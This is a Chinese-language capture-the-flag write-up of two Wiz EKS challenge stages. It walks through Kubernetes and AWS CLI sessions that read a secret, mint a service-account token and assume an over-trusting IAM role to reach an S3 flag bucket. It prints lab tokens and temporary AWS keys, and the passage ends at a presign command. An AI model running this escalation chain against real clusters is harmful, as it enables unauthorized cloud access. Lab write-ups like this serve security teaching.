root@wiz-eks-challenge:~# kubectl auth can-i --list --token k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vP0FjdGlvbj1HZXRDYWxsZXJJZGVudGl0eSZWZXJzaW9uPTIwMTEtMDYtMTUmWC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BU0lBMkFWWU5FVk1VQUlPR1VQWiUyRjIwMjQwMzA1JTJGdXMtd2VzdC0xJTJGc3RzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNDAzMDVUMDYyMDA3WiZYLUFtei1FeHBpcmVzPTYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCUzQngtazhzLWF3cy1pZCZYLUFtei1TZWN1cml0eS1Ub2tlbj1Gd29HWlhJdllYZHpFS0QlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkZ3RWFERGNWM2FueWVFb2xoJTJGazlSU0szQVkzSVZtZ0p0UWVwaWxmdzlTSktmOCUyQlVZb2ZOYTBhZlJYJTJCYVhaak43eW55UXJuWUZMdElsNmVhSUs4JTJCVVVOWGpVeG9QdjFhMUE0T3luM3JmUVA0TCUyQlBMb2M5dyUyQnhRRHZ2bTJnQ1pLSyUyQmNDckxoU0lwdzRGbWRVYzFJMWx4N2EzdEl2b2xHN05pR3ZVSkNyZlJlUGdQRXgzODhPeXl1M01iRGVLNjh1UHVTMzFWMUhUbTRYUWRHQWVCYWpwOGFVc21sdEZ0NkFONzU5elROMldWeXhOZm54SHIxOG1nZHA2djQ4ZGU3dzl3dSUyRjc2ZzZrRGQxUkNpNzhKcXZCakl0TEpWSjJkb0pKcGVVcldnQU5OdGpVNnRBV1Z2UiUyQlRFeDdWbTZFcVNZeSUyQnFKT1U3cHAxSU5NdjZxdVBFbSZYLUFtei1TaWduYXR1cmU9NWZkZTMwMGUyNTZkNmI5Zjg4NjM2ODQwYzc5YjNhOTUyOTYzNmY4Y2ZlZGM5YmMzN2ZiMDE3YmZiMGM2MzRjNg
warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
serviceaccounts/token [] [debug-sa] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
pods [] [] [get list]
secrets [] [] [get list]
serviceaccounts [] [] [get list]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
podsecuritypolicies.policy [] [eks.privileged] [use]

方法二:初始化kubeconfig

另一种方式就是直接把对应的cluster权限写入本地的kubeconfig,但这里发现我们的node iam角色并没有对arn:aws:eks:us-west-1:688655246681:cluster/eks-challenge-cluster这个资源的权限,也有可能是这个cluster资源的名字不对。

1
2
3
root@wiz-eks-challenge:~# aws eks update-kubeconfig --name eks-challenge-cluster

An error occurred (AccessDeniedException) when calling the DescribeCluster operation: User: arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282 is not authorized to perform: eks:DescribeCluster on resource: arn:aws:eks:us-west-1:688655246681:cluster/eks-challenge-cluster

总之最终就是拿到了kubectl的权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@wiz-eks-challenge:~# alias kubectl="kubectl --token k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vP0FjdGlvbj1HZXRDYWxsZXJJZGVudGl0eSZWZXJzaW9uPTIwMTEtMDYtMTUmWC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BU0lBMkFWWU5FVk01WFZORUhOQiUyRjIwMjQwMzA1JTJGdXMtd2VzdC0xJTJGc3RzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNDAzMDVUMDY1MjU0WiZYLUFtei1FeHBpcmVzPTYwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCUzQngtazhzLWF3cy1pZCZYLUFtei1TZWN1cml0eS1Ub2tlbj1Gd29HWlhJdllYZHpFS0QlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkYlMkZ3RWFESFhuY29ETVNqTDljVDdJNkNLM0FiJTJCNVdkcEpDb1hzc3R6MEREUDhSNUR4JTJCQVpLb0pQa3I4emQlMkZOZDM4RUk1R0hHTUx5SEx5dWJReEY2TVpMQ3c3RTRnQUtLQVlycHIlMkIzSmUlMkZYbmlld0VZcWIxS2xPZ0pVSkZkMlRZWnp1YlFUZmV5dDZrRGMlMkZWZW1CblB2R1hHaXNIQ0I2Q3ljaFBDdDg4WnJlJTJCYXhoZ2E0TDFFN2ZTbnloYzh4Z3RJT1NwZWhWVUFJOUd6MGtwYTVJSHk3eG9KZ2FUck0zOEhPRmNXOHl5OXNlVTQyQ3g1JTJCQUxBeWF0OU9HOTJJTTZIZGRJOEQ5d3dZWGUzZXlpWSUyRnBxdkJqSXROZUpBRU0lMkYyVjBFSTJ6NlFlVDhkVkg1UDVGcUhyNnhMWmxDTkhldVh4WENGWkN1MGpHUEJxS0lGWkF4UyZYLUFtei1TaWduYXR1cmU9YTg3MDlkMmI0NzU5OTEyMTM1MThkMDA4MDE0MTE3MDlkMzFkNWU1NzIwZTQyMmIwNTc3OTE2ODA2ZDA4NTU5Ng"

root@wiz-eks-challenge:~# kubectl get pods
No resources found in challenge4 namespace.

root@wiz-eks-challenge:~# kubectl get sa
NAME SECRETS AGE
default 0 125d
service-account-challenge4 0 125d

root@wiz-eks-challenge:~# kubectl get secrets
NAME TYPE DATA AGE
node-flag Opaque 1 124d

root@wiz-eks-challenge:~# kubectl get secret node-flag -o yaml
apiVersion: v1
data:
flag: d2l6X2Vrc19jaGFsbGVuZ2V7b25seV9hX3JlYWxfcHJvX2Nhbl9uYXZpZ2F0ZV9JTURTX3RvX0VLU19jb25ncmF0c30=
kind: Secret
metadata:
creationTimestamp: "2023-11-01T12:27:57Z"
name: node-flag
namespace: challenge4
resourceVersion: "883574"
uid: 26461a29-ec72-40e1-adc7-99128ce664f7
type: Opaque

In this task, you’ve acquired the Node’s service account credentials. For future reference, these credentials will be conveniently accessible in the pod for you.

Fun fact: The misconfiguration highlighted in this challenge is a common occurrence, and the same technique can be applied to any EKS cluster that doesn’t enforce IMDSv2 hop limit.

Container Secrets Infrastructure

You’ve successfully transitioned from a limited Service Account to a Node Service Account! Great job. Your next challenge is to move from the EKS to the AWS account. Can you acquire the AWS role of the s3access-sa service account, and get the flag?

本题的iam如下,这是一个基于身份的策略,也就是我们要获取的目标aws凭证的角色的权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
"Policy": {
"Statement": [
{
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::challenge-flag-bucket-3ff1ae2",
"arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag"
]
}
],
"Version": "2012-10-17"
}
}

这个IAM是用来配置角色信任和权限的,经过了web身份认证的可以调用sts:AssumeRoleWithWebIdentity来获取凭证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:aud": "sts.amazonaws.com"
}
}
}
]
}

接下来是本题的kube权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"secrets": [
"get",
"list"
],
"serviceaccounts": [
"get",
"list"
],
"pods": [
"get",
"list"
],
"serviceaccounts/token": [
"create"
]
}

这题的场景也就是上一题的后续利用,我们成功获取到了kube权限后,发现可以创建sa,我们需要拿到一个更高权限的aws凭证来访问存储桶。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
root@wiz-eks-challenge:~# aws sts get-caller-identity
{
"UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282",
"Account": "688655246681",
"Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282"
}

root@wiz-eks-challenge:~# kubectl whoami
system:node:challenge:ip-192-168-21-50.us-west-1.compute.internal

root@wiz-eks-challenge:~# kubectl auth can-i --list
warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
serviceaccounts/token [] [debug-sa] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
pods [] [] [get list]
secrets [] [] [get list]
serviceaccounts [] [] [get list]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
podsecuritypolicies.policy [] [eks.privileged] [use]

把能list的都list一下,发现这里有个s3access-sa

1
2
3
4
5
6
7
8
9
root@wiz-eks-challenge:~# kubectl get sa
NAME SECRETS AGE
debug-sa 0 125d
default 0 125d
s3access-sa 0 125d
root@wiz-eks-challenge:~# kubectl get pods
No resources found in challenge5 namespace.
root@wiz-eks-challenge:~# kubectl get secrets
No resources found in challenge5 namespace.

看看详细信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root@wiz-eks-challenge:~# kubectl get sa -o yaml
apiVersion: v1
items:
- apiVersion: v1
kind: ServiceAccount
metadata:
annotations:
description: This is a dummy service account with empty policy attached
eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeTestRole-fc9d18e
creationTimestamp: "2023-10-31T20:07:37Z"
name: debug-sa
namespace: challenge5
resourceVersion: "671929"
uid: 6cb6024a-c4da-47a9-9050-59c8c7079904
- apiVersion: v1
kind: ServiceAccount
metadata:
creationTimestamp: "2023-10-31T20:07:11Z"
name: default
namespace: challenge5
resourceVersion: "671804"
uid: 77bd3db6-3642-40d5-b8c1-14fa1b0cba8c
- apiVersion: v1
kind: ServiceAccount
metadata:
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeEksS3Role
creationTimestamp: "2023-10-31T20:07:34Z"
name: s3access-sa
namespace: challenge5
resourceVersion: "671916"
uid: 86e44c49-b05a-4ebe-800b-45183a6ebbda
kind: List
metadata:
resourceVersion: ""

怎么利用这些sa来获取他们对应角色的凭证呢,这里可以使用前面的oidc认证,类似于IAM挑战中的某一关,认证成功后,使用认证的token来获取aws凭证,格式如下

1
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role  --role-session-name A.R. --web-identity-token xxxx

那么现在我们需要证明我们获取了对应的身份,也就是必须拿到合法的token,可以使用kubectl中的命令来获取token,但这里只能拿到debug-sa的token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root@wiz-eks-challenge:~# kubectl create token debug-sa
eyJhbGciOiJSUzI1NiIsImtpZCI6IjJhYjQyMjYxMjFjNzAyMjdkMWEwZWViZDlkZmQ5MTcyNDU4MGIwYjYifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjIl0sImV4cCI6MTcwOTYzMDk0OSwiaWF0IjoxNzA5NjI3MzQ5LCJpc3MiOiJodHRwczovL29pZGMuZWtzLnVzLXdlc3QtMS5hbWF6b25hd3MuY29tL2lkL0MwNjJDMjA3QzhGNTBERTRFQzI0QTM3MkZGNjBFNTg5Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJjaGFsbGVuZ2U1Iiwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlYnVnLXNhIiwidWlkIjoiNmNiNjAyNGEtYzRkYS00N2E5LTkwNTAtNTljOGM3MDc5OTA0In19LCJuYmYiOjE3MDk2MjczNDksInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpjaGFsbGVuZ2U1OmRlYnVnLXNhIn0.RoP7ST8cmwUVpSDxvxYqjj34-VsN_aHNiTxstyGXVPIX4tWy5F-6snRzklYFN5JWra_MZjYWkKqpxQUMQFt8Jc1bvSSYJRZbiD3WiBswNrkcVH1EUzxq38-UxWCpLlv3XGMunb8saeMJXmBI32Gze4orpJdkm2vY0ilS1ykZhesbyClRiPq3fgB4-CbvUss7si_Nni5GPKlHWt5xGbBuXRYgQi_cqW4n4T0l5c4q5a8DOX4xa2sJITHwo-0aSQLJnawYMERSqanMuC72cvvcY44MOGW6Vgc6y5zAHNpHFfiTWac1laL3xLxl2aC3BMPVP-M1Ak3kJienozCjinkPGw

{
"aud": [
"https://kubernetes.default.svc"
],
"exp": 1709630949,
"iat": 1709627349,
"iss": "https://oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589",
"kubernetes.io": {
"namespace": "challenge5",
"serviceaccount": {
"name": "debug-sa",
"uid": "6cb6024a-c4da-47a9-9050-59c8c7079904"
}
},
"nbf": 1709627349,
"sub": "system:serviceaccount:challenge5:debug-sa"
}

这个token中的aud为https://kubernetes.default.svc,不符合前面iam中的限制,我们可以指定参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root@wiz-eks-challenge:~# kubectl create token debug-sa --audience "sts.amazonaws.com"
eyJhbGciOiJSUzI1NiIsImtpZCI6IjJhYjQyMjYxMjFjNzAyMjdkMWEwZWViZDlkZmQ5MTcyNDU4MGIwYjYifQ.eyJhdWQiOlsic3RzLmFtYXpvbmF3cy5jb20iXSwiZXhwIjoxNzA5NjMxMDg3LCJpYXQiOjE3MDk2Mjc0ODcsImlzcyI6Imh0dHBzOi8vb2lkYy5la3MudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vaWQvQzA2MkMyMDdDOEY1MERFNEVDMjRBMzcyRkY2MEU1ODkiLCJrdWJlcm5ldGVzLmlvIjp7Im5hbWVzcGFjZSI6ImNoYWxsZW5nZTUiLCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVidWctc2EiLCJ1aWQiOiI2Y2I2MDI0YS1jNGRhLTQ3YTktOTA1MC01OWM4YzcwNzk5MDQifX0sIm5iZiI6MTcwOTYyNzQ4Nywic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmNoYWxsZW5nZTU6ZGVidWctc2EifQ.BcwtnF059vuh2pRz81EqByzywpCnyGcGRuYR9lP2TI9AMBOIVFOff1SJL2Z2VFF0eWp670LmvvZZ0DgnYdcjlauuSEs9tNekDgQ272eG7XsIfVZ6n5eWqyTTj8Wj3128Y7DW9pm9DAeyy5MKHPGInAUiyAzvxdesldxpT7_IlOWlUKykgwpcmkWKL0aPceWUNM9zN-8F1e0yCMJAe8z8nfwICwd3b0VbWKOUDCCx-LGMff83PzRJRL0ioOuvsuQlL3ylN4LkBCaH5XcOORjH9WVYldCN-IHiSUKXl7WcTSRpAYc0u3TiuzIaXoHqd2vJN25MIfcy6b8vZWeTnId3mw

{
"aud": [
"sts.amazonaws.com"
],
"exp": 1709631087,
"iat": 1709627487,
"iss": "https://oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589",
"kubernetes.io": {
"namespace": "challenge5",
"serviceaccount": {
"name": "debug-sa",
"uid": "6cb6024a-c4da-47a9-9050-59c8c7079904"
}
},
"nbf": 1709627487,
"sub": "system:serviceaccount:challenge5:debug-sa"
}

我们拿着这个token去使用assume-role-with-web-identity即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@wiz-eks-challenge:~# aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeTestRole-fc9d18e  --role-session-name A.R. --web-identity-token eyJhbGciOiJSUzI1NiIsImtpZCI6IjJhYjQyMjYxMjFjNzAyMjdkMWEwZWViZDlkZmQ5MTcyNDU4MGIwYjYifQ.eyJhdWQiOlsic3RzLmFtYXpvbmF3cy5jb20iXSwiZXhwIjoxNzA5NjMxMDg3LCJpYXQiOjE3MDk2Mjc0ODcsImlzcyI6Imh0dHBzOi8vb2lkYy5la3MudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vaWQvQzA2MkMyMDdDOEY1MERFNEVDMjRBMzcyRkY2MEU1ODkiLCJrdWJlcm5ldGVzLmlvIjp7Im5hbWVzcGFjZSI6ImNoYWxsZW5nZTUiLCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVidWctc2EiLCJ1aWQiOiI2Y2I2MDI0YS1jNGRhLTQ3YTktOTA1MC01OWM4YzcwNzk5MDQifX0sIm5iZiI6MTcwOTYyNzQ4Nywic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmNoYWxsZW5nZTU6ZGVidWctc2EifQ.BcwtnF059vuh2pRz81EqByzywpCnyGcGRuYR9lP2TI9AMBOIVFOff1SJL2Z2VFF0eWp670LmvvZZ0DgnYdcjlauuSEs9tNekDgQ272eG7XsIfVZ6n5eWqyTTj8Wj3128Y7DW9pm9DAeyy5MKHPGInAUiyAzvxdesldxpT7_IlOWlUKykgwpcmkWKL0aPceWUNM9zN-8F1e0yCMJAe8z8nfwICwd3b0VbWKOUDCCx-LGMff83PzRJRL0ioOuvsuQlL3ylN4LkBCaH5XcOORjH9WVYldCN-IHiSUKXl7WcTSRpAYc0u3TiuzIaXoHqd2vJN25MIfcy6b8vZWeTnId3mw
{
"Credentials": {
"AccessKeyId": "ASIA2AVYNEVMVLPTENL4",
"SecretAccessKey": "t13ENg14zH7N08ihHUaZECOuGKxwA5bIt0ULyJWG",
"SessionToken": "IQoJb3JpZ2luX2VjEJH//////////wEaCXVzLXdlc3QtMSJGMEQCIGSPyjiZ5s1cQa8y6Uq/lTWaqGT+MM4QsZlgMNHoUgRlAiBCMQl+O/3qHphDegpvWpfmFZTGS8aNG78pmlhLNvlOIyq+BAiK//////////8BEAAaDDY4ODY1NTI0NjY4MSIMweCtlsFJgupznQ1hKpIEjyzz6VtQ/pwftSKNdW7Rfc88a+k96X2eivlQrOwIklikfzF7Fa3eS11M5244WScN0Eltu9Mb84FmcgOc2XpJ1sJGBG/jJ7ALTHyP3gpLqG4MmXVWE/tWg5xv/3t1Sifs2rfP6MOSwNbwHZP8NodQzsSvCNB8moZdO1SqUboT+0l7SzEgMd2lKl8MjGX3mo8QxSe05ewVReTDBRQwmVZaxf7BXXP9ppgO7yWWw7MFNb0XeexlzjleEEP9e0FMvs+9C2zTYJWKQ7v3f9CNsVJyLcSzSGlU9v+ano8imA1wponlPbySkdAlR6vbdxvg8stwGIYyr/6H2MbMvuIUnwhnxb1JLzg+kc1MqFGVoh66ysW00sLsZg60K7oC8GcC9OuJOH65hlwpD8sqQ4TwFw72U/hNsWXyyuPhaluiZxdJswyhme8xscJeJ5Ig2PC++Lb5K8FT2Vt46OyzfSvzWFnskJQcsdFeZP+XQdzhx1zEJa5xp9qs5FtM3xqj4lV63/CjH/amr2NMS5Kqf5EBIe9DIEdniXRxMazrIkp3BOk0ToPerlaF5kN3YcjC5VS/fG8dC8FEiXnVJpxO9gy/D9TwBqk77P7wDX60FLl98p/PdSzPDXusWrB7+WNB0h+L2087BCEDKV5ZioiZX4AxZfhXVbUbk2BDcGbn7qCZ+oKarabSEaIHOd/f06Se7KGYVq+a4Skw3rGbrwY6lgE2t5IwmNbvssK2gtNRnqbNlrTNwNibUIY0kEERB7qiVBcqsrqAJtTunYgV0eibuzw60F9P7uVLI+7Tjc1aE+56kQ16EIa7WNDKABk11NRQr33GyAc7bbA5bVrEjv/ELri0YhBck5IxsBT/Zye9pUaTKQ+I29kmmPBIE6B20j2bSgndHWmdzTPLKpH4/q0cdjYOPLeMl1M=",
"Expiration": "2024-03-05T09:33:34+00:00"
},
"SubjectFromWebIdentityToken": "system:serviceaccount:challenge5:debug-sa",
"AssumedRoleUser": {
"AssumedRoleId": "AROA2AVYNEVM6G5PAIL7U:A.R.",
"Arn": "arn:aws:sts::688655246681:assumed-role/challengeTestRole-fc9d18e/A.R."
},
"Provider": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589",
"Audience": "sts.amazonaws.com"
}

其实challengeTestRole-fc9d18e这个角色啥权限都没有,那我们不禁会想,我们传入的token中似乎没有任何字段是关联了对应角色的,这里存在潜在的越权问题,任何合法的token都能使用assume-role-with-web-identity,并没有对token中的信息作检验,况且我们的sa和aws role的对应关系也是注释里面写的,那么这里尝试用debug-sa的token去获取arn:aws:iam::688655246681:role/challengeEksS3Role角色

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@wiz-eks-challenge:~# aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role  --role-session-name A.R. --web-identity-token eyJhbGciOiJSUzI1NiIsImtpZCI6IjJhYjQyMjYxMjFjNzAyMjdkMWEwZWViZDlkZmQ5MTcyNDU4MGIwYjYifQ.eyJhdWQiOlsic3RzLmFtYXpvbmF3cy5jb20iXSwiZXhwIjoxNzA5NjMxMDg3LCJpYXQiOjE3MDk2Mjc0ODcsImlzcyI6Imh0dHBzOi8vb2lkYy5la3MudXMtd2VzdC0xLmFtYXpvbmF3cy5jb20vaWQvQzA2MkMyMDdDOEY1MERFNEVDMjRBMzcyRkY2MEU1ODkiLCJrdWJlcm5ldGVzLmlvIjp7Im5hbWVzcGFjZSI6ImNoYWxsZW5nZTUiLCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVidWctc2EiLCJ1aWQiOiI2Y2I2MDI0YS1jNGRhLTQ3YTktOTA1MC01OWM4YzcwNzk5MDQifX0sIm5iZiI6MTcwOTYyNzQ4Nywic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmNoYWxsZW5nZTU6ZGVidWctc2EifQ.BcwtnF059vuh2pRz81EqByzywpCnyGcGRuYR9lP2TI9AMBOIVFOff1SJL2Z2VFF0eWp670LmvvZZ0DgnYdcjlauuSEs9tNekDgQ272eG7XsIfVZ6n5eWqyTTj8Wj3128Y7DW9pm9DAeyy5MKHPGInAUiyAzvxdesldxpT7_IlOWlUKykgwpcmkWKL0aPceWUNM9zN-8F1e0yCMJAe8z8nfwICwd3b0VbWKOUDCCx-LGMff83PzRJRL0ioOuvsuQlL3ylN4LkBCaH5XcOORjH9WVYldCN-IHiSUKXl7WcTSRpAYc0u3TiuzIaXoHqd2vJN25MIfcy6b8vZWeTnId3mw
{
"Credentials": {
"AccessKeyId": "ASIA2AVYNEVM35S7VBEY",
"SecretAccessKey": "cGhLof5HAKMR5E2qJdfF8m2DPMtaSS2TH/OU9jX6",
"SessionToken": "IQoJb3JpZ2luX2VjEJH//////////wEaCXVzLXdlc3QtMSJIMEYCIQC2VC0m3upS5XEYKABN6pfrowL7KTAQD0xZ9+JaIEZqzAIhALbxXwRHdZlxl/vyWL+jSz/vZVJ2+On9vpfVafOHoPPpKr4ECIr//////////wEQABoMNjg4NjU1MjQ2NjgxIgyJGizp0/TWbUkyhmcqkgTmW0HCcK68KrCOGyXdCtGczODABS8tmDJj7YG46sRBVqNBsFvln8oAW3sdnUz+VIYiDslDTgL+jvzUWR4SmfMaXPF3Ws5C6DbC6aTuHAnNmQ6A5TzSmHEUe80KJLqUbMhmwOT/7aoJoyHWIpS7SSraJj4UNT6oIlE5l52YHgPxYkrhyc4taGiDzqKY4NVkFSUYZA/x1D96CSdBVpsg1gqv5EOLvKDHDCfY/k27DbKlW1dd1u4yqmokrtP16N4evYbVYnr1iWYsV8vwoATONlr+boWyyapNZebFNd6UANXzLml61j+1P7G60S5AwqtyzWlqSHEXsKjcawkA2eWvv/Gz+hcs7Ufaai24WOYOQ8pdGegr6MqeRBbYfziB33gz/SJvDdUxDnAx1gPN13JPHmJKo1ThHO3tieYRwEos2aCpOT7AtSbTx0aob9oK4U8nTdej/vHR3S+0A6QyXg6q+pWYsmKDLUg/sJ7YfzdSFDCbJnrK/JMwQexNmybrKquBVAx1ZF0kU0v6X5BLd5HvicVwrbptlbxwEl74yqStt+38RgWK6YEyQGz1QaPYd9ZrslbZOufZfnJm8R09kS+pf12GVt6Rt8h/FxvdHhbE9z/5UvRX6SKWFpFr7nmQ78sZWswFom5vV8XwnvOI2Yh1+xb3t2rg6jmkozZOYlejqRzxfMGKo9lLX76Toe7/rd7UK5Y2zDCktJuvBjqUAaQ1wUbXoeOm24tmu5WNuBtcnz0FkTu2SyCvvQq6NKqZVnmmZHsvQPlq5VyoISmnUOS9jDwW7yYPWsmozHFdRkXviZ097cPbH34wuai3upsugAM8Sw/Iq67RBKESS3Cqp/0ZXEDXd2ZL3ANVTO4zYo3XwNM1BoU8Yb5HEh5TsRQ6UXEXRa/9d/Fcn+WhVccVQsNElIQ=",
"Expiration": "2024-03-05T09:39:00+00:00"
},
"SubjectFromWebIdentityToken": "system:serviceaccount:challenge5:debug-sa",
"AssumedRoleUser": {
"AssumedRoleId": "AROA2AVYNEVMZEZ2AFVYI:A.R.",
"Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/A.R."
},
"Provider": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589",
"Audience": "sts.amazonaws.com"
}

这里并没有验证WebIdentityToken对象的身份导致了越权获取凭证

1
2
3
export AWS_ACCESS_KEY_ID=ASIA2AVYNEVM35S7VBEY
export AWS_SECRET_ACCESS_KEY=cGhLof5HAKMR5E2qJdfF8m2DPMtaSS2TH/OU9jX6
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEJH//////////wEaCXVzLXdlc3QtMSJIMEYCIQC2VC0m3upS5XEYKABN6pfrowL7KTAQD0xZ9+JaIEZqzAIhALbxXwRHdZlxl/vyWL+jSz/vZVJ2+On9vpfVafOHoPPpKr4ECIr//////////wEQABoMNjg4NjU1MjQ2NjgxIgyJGizp0/TWbUkyhmcqkgTmW0HCcK68KrCOGyXdCtGczODABS8tmDJj7YG46sRBVqNBsFvln8oAW3sdnUz+VIYiDslDTgL+jvzUWR4SmfMaXPF3Ws5C6DbC6aTuHAnNmQ6A5TzSmHEUe80KJLqUbMhmwOT/7aoJoyHWIpS7SSraJj4UNT6oIlE5l52YHgPxYkrhyc4taGiDzqKY4NVkFSUYZA/x1D96CSdBVpsg1gqv5EOLvKDHDCfY/k27DbKlW1dd1u4yqmokrtP16N4evYbVYnr1iWYsV8vwoATONlr+boWyyapNZebFNd6UANXzLml61j+1P7G60S5AwqtyzWlqSHEXsKjcawkA2eWvv/Gz+hcs7Ufaai24WOYOQ8pdGegr6MqeRBbYfziB33gz/SJvDdUxDnAx1gPN13JPHmJKo1ThHO3tieYRwEos2aCpOT7AtSbTx0aob9oK4U8nTdej/vHR3S+0A6QyXg6q+pWYsmKDLUg/sJ7YfzdSFDCbJnrK/JMwQexNmybrKquBVAx1ZF0kU0v6X5BLd5HvicVwrbptlbxwEl74yqStt+38RgWK6YEyQGz1QaPYd9ZrslbZOufZfnJm8R09kS+pf12GVt6Rt8h/FxvdHhbE9z/5UvRX6SKWFpFr7nmQ78sZWswFom5vV8XwnvOI2Yh1+xb3t2rg6jmkozZOYlejqRzxfMGKo9lLX76Toe7/rd7UK5Y2zDCktJuvBjqUAaQ1wUbXoeOm24tmu5WNuBtcnz0FkTu2SyCvvQq6NKqZVnmmZHsvQPlq5VyoISmnUOS9jDwW7yYPWsmozHFdRkXviZ097cPbH34wuai3upsugAM8Sw/Iq67RBKESS3Cqp/0ZXEDXd2ZL3ANVTO4zYo3XwNM1BoU8Yb5HEh5TsRQ6UXEXRa/9d/Fcn+WhVccVQsNElIQ=

接着列存储桶,读对象即可

1
2
3
4
root@wiz-eks-challenge:~# aws s3 ls s3://challenge-flag-bucket-3ff1ae2 --recursive
2023-11-01 12:27:55 72 flag
root@wiz-eks-challenge:~# aws s3 presign s3://challenge-flag-bucket-3ff1ae2/flag
